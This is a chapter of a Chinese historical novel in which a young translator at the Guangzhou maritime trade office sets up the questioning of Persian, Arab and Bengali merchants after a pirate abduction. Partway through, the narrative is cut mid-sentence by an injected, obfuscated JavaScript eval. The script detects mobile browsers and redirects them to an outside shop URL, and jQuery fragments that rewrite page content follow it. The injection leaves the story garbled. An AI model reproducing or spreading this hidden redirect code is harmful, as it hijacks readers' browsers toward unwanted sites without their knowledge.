李良宏：“这回请了俞先生来，是因我担心小儿年幼，见识不足，难免有通译不明白处，特请了俞先生来一同斟酌。俞先生来广府已有数年，于大食国言语也很精通。我知晓舟师海道也离不开俞先生，毕竟那许多客商也都要盘察，不如就将舟师海道处的异国客商都带到此间来，当面盘问。”
任崇恩想了想：“李大人所言甚是，但海道要上商船一一清察客商，不如我带着人去清点了异国客商，收了他们的海防文书，便送往此间来。请李大人带着人仔细盘查。”
他对着众人拱了拱手，匆匆离去。
李灵钥已将父亲要向异国客商询问的话都通译为了大食与波斯两国言语，不仅让俞之远与冯旭州各领了一份去，还在哈桑与阿卜杜来到后，分别交到了他们手中。
哈桑看了看，小心地问：“这些是在城中居住的异国客商要回答的问题？”
见李灵钥点头，他又问：“还在商船上的客商不必由我们相助询问吧？”
李灵钥点头：“昨日晚间在商船上的客商都由舟师海道询问，二位询问的只是住在城中的客商。他们昨晚的行止要有人证，人证须得说真话，要书写他们的名字，还要在此间按过手印。”
她指签字与按手印处给他们看过。
阿卜杜眉头皱起：“曜，这是将在城中的异国客商当成了强人？”
李灵钥摇头：“非也。这伙海贼掳走了居住在城外的村民，我们得相助广府衙门将人找到。今日衙门不仅盘查异国客商，连在此间的大周客商也要被盘查。海贼本就不是特指哪一国人，大周也有人去向海中诸国，万一他们也成了海贼呢？”
“清查居住在城中的客商，也是给这些客商机会，让他们说明了昨晚的去向，有相应的人证，清查为实后，没人再会去打扰他们。这总比将他们都押到衙门去过堂的好。且这事得尽快查明，将掳走的人的下落找到，才能保得在此间的客商平安无事。海贼更多是在海上掳掠，各国客商对他们也很是惧怕，更该相助我们找到他们。少一起海贼，客商行船海上的危险就少了一分。”
阿卜杜与哈桑一想不错，当即说道：“曜所言有理，请各位大人放心，我们回去便将还在广府的客商清查一回。”
阿卜杜又想了想：“只是有的客商既非来自大食，也非波斯客商，他们所说的言语也与我们不同。平日他们听不懂我们的话还行，但现下听不懂，就会耽误衙门的大事。这如何是好？”
李灵钥微笑：“市舶司有能说榜葛剌国语的人，除去大食与波斯两国的异国客商，其余的客商都来自榜葛剌国与海中诸国。这些客商请二位写分明，市舶司会有人亲自盘问。”
送走了阿卜杜与哈桑，李灵钥问钱远昆：“钱大人，我派给你的两名榜葛剌国兵士在何处？”
钱远昆：“他们就在此间。”
李灵钥：“请将他们交与我，他们能相助询问来自榜葛剌与柔佛等国的客商。”
俞之远看着李灵钥：“市舶司如今居然有精通榜葛剌国言语的通译了？你哪里寻得的？”
李灵钥：“俞先生，他们还算不上通译。他们是在广府居住了多年的榜葛剌国客商侍从，不会说我们的言语。因异国客商中多有来自榜葛剌国的客商，我请了他们前来相助通译。现下广府遇上了这事，能用的人都要用上。”
俞之远：“他们不会说榜葛剌国言语，也不会说大周言语，能帮何忙？”
李灵钥微笑：“他们中有一位会说些许大食国言语，因此也能帮得上手。”
不多时，迪让与拉哈尔来到。
李灵钥向迪让说了需他们相助，迪让当即点头：“榜葛剌客商便交与我们。”
李灵钥：“我还想将海中诸国的客商也交与二位。”
迪让小心地问：“我们也不会说海中诸国的言语，如何帮得上？”
李灵钥：“海中诸国所说的巴哈萨语是自柔佛国与榜葛剌国的言语脱胎而来，夹杂有极少许当地土语，但当地土语的数目不多。榜葛剌语为你们的母语，因此他们说话你们应当能听懂三四成。而渡海而来的海中诸国客商大多会学异国言语，有的会说广府话，有的会说些许波斯与大食国言语。我和你们一同，大约能听懂六七成。总之尽力而为吧。”
阿卜杜与哈桑离去，俞之远便也往舟师海道去了.
冯旭州看着李灵钥分派完毕，清泉已带着迪让准备纸笔，他小声地问：“李小公子，我们现下便要准备询问通译了？”
李灵钥对他心有芥蒂，点了点头：“任大人回到舟师海道，海船上的异国海船乃至客商都会到此间来，我爹爹已在准备要问的话，我与俞先生会分开询问。”
“我本想帮冯通译将要向波斯客商询问的问题都通译为波斯语，请冯通译来询问。但只有一个担心：这回询问必定许多字词都与货品无关，客商的回答也必定千奇百怪，不知冯通译可以胜任么？若冯通译能胜任，就请冯通译认真询问，我来抄录。”
李灵钥知晓冯旭州的心胸不算宽广，因此没直说他既不能通译也不能抄录。
冯旭州想了想：“还是让我相助抄录吧。上回我见异国客商考试时，李小公子抄录波斯国言语，钱大人相助抄录大周国言语，我想李小公子通译为大周国言语时，我能相助抄录些许。只是看了要询问的话，我猜着抄录也会有遗漏。”
他说得很是小心，李灵钥早知他所学还不足以将问询所得都抄下来。
她点头：“先生不必担心，能抄录多少便抄录多少，我也会边问边抄录，而后将先生与我的抄录汇合在一处，便不会有遗漏。”
今日要盘问的人不少，市舶司需要人相助，连霍啸雨都往广府衙门旁听去了，李灵钥果真需要人帮助抄录。
冯旭州：“那就按李小公子所言，我尽力而为，过后还得请你多加斧正。”
不到半个时辰，俞之远与舟师海道的兵士已带着数名客商来到。
李良宏已将要询问的问题都写了交给了李灵钥，李灵钥将其通译为大食与波斯两国文字。
她将写
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249374|177752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了大食国文字的问题交给俞之远，俞之远看了一回，“李大人写得甚是周详，连客商昨晚的证人都要问到，但有三道重复了两回？这是写错了，还是李大人累了，因而将问过的话重复写来？”
没等李灵钥出言，他小声道：“客商们难缠，我也没这样盘问过，得细心些。”
李灵钥知晓他未尽之意：“是，我也发现了。我问我爹爹，爹爹说这是刑部的大人常用的法子，虽是同样的问题，但用的语句不同，客商答过别的问题后，再听到这问题或许能多想起来些许，会与初次回答不同。且客商再次回答时与前面的回答对不上，那这客商的言语必定不真。不过这些与我们不相干了，只需按他们回答写抄录，我爹爹自会去查看其中的关联，并知会广府衙门。”
俞之远又将问题看了一回，将不会的词挑出来给李灵钥，李灵钥当场教他，而后二人分开询问。
俞之远与李灵钥在各在一间廨房，让兵士引着异国客商来问询。
李灵钥仔细询问波斯客商，在波斯客商回答时通译为大周北方官话，冯旭州便当场抄录。
李灵钥也将波斯客商的回答用芦苇笔写下来，冯旭州在两份回答上写上客商的身份文书上的号目，一同交到李良宏处去。
问题虽不多，但一一问来，再抄录下来花费的时刻也不少。
廨房内除却李灵钥、迪让与客商的话声外，再无声息。
清泉拿送物件，间或磨了墨给李灵钥和冯旭州添上，又给他们添加茶水。
舟师海道源源不断地将客商送来，再将已回答了问题的客商接走。
黄昏时分，李灵钥已很是疲惫，兵士送来饭食，她便让客商也先去用饭。
转头看见迪让，她问：“你们如今还是家中送饭来？”
李良宏和李青祥的饭食是由家中每日送来，家中还将西塔给迪让与拉哈尔做的饭食也一同送来。
李灵钥极少在此间用饭，每日还没到饭时，霍啸雨便已带着她离开。
李灵钥不算挑嘴，但市舶司灶间送来的饭食简单，她今日一直通译极耗心神，这时累极了，对着粗茶淡饭实在吃不下。
清泉看了看桌上的饭食，又看了看在一旁用饭的冯旭州，没敢出言。
忽然，李家小厮明砚来到，清泉连忙迎出去。
明砚对她说了句话，清泉来到李灵钥身边，在她耳边小声提醒：“公子，家中送了饭食来。且去与老爷一同用饭吧。”
李灵钥来到李良宏的廨房时，李清祥正将案桌上的抄录的问答收走，清泉相助挪开了笔砚，明砚正打开食盒取出送来的饭食在桌案上摆开。
李灵钥想起迪让，问明砚：“迪让与拉哈尔的饭食可也送来了？”
明砚：“曜哥儿放心，他们的饭食是一同送来的，已交给了拉哈尔，他们会一同去用饭。”
话音刚落，何云生来了，他拎着个提篮盒来到。
何云生一进来就对李良宏行了个礼：“我家公子让我给李大人送两样小菜和些许细粥。”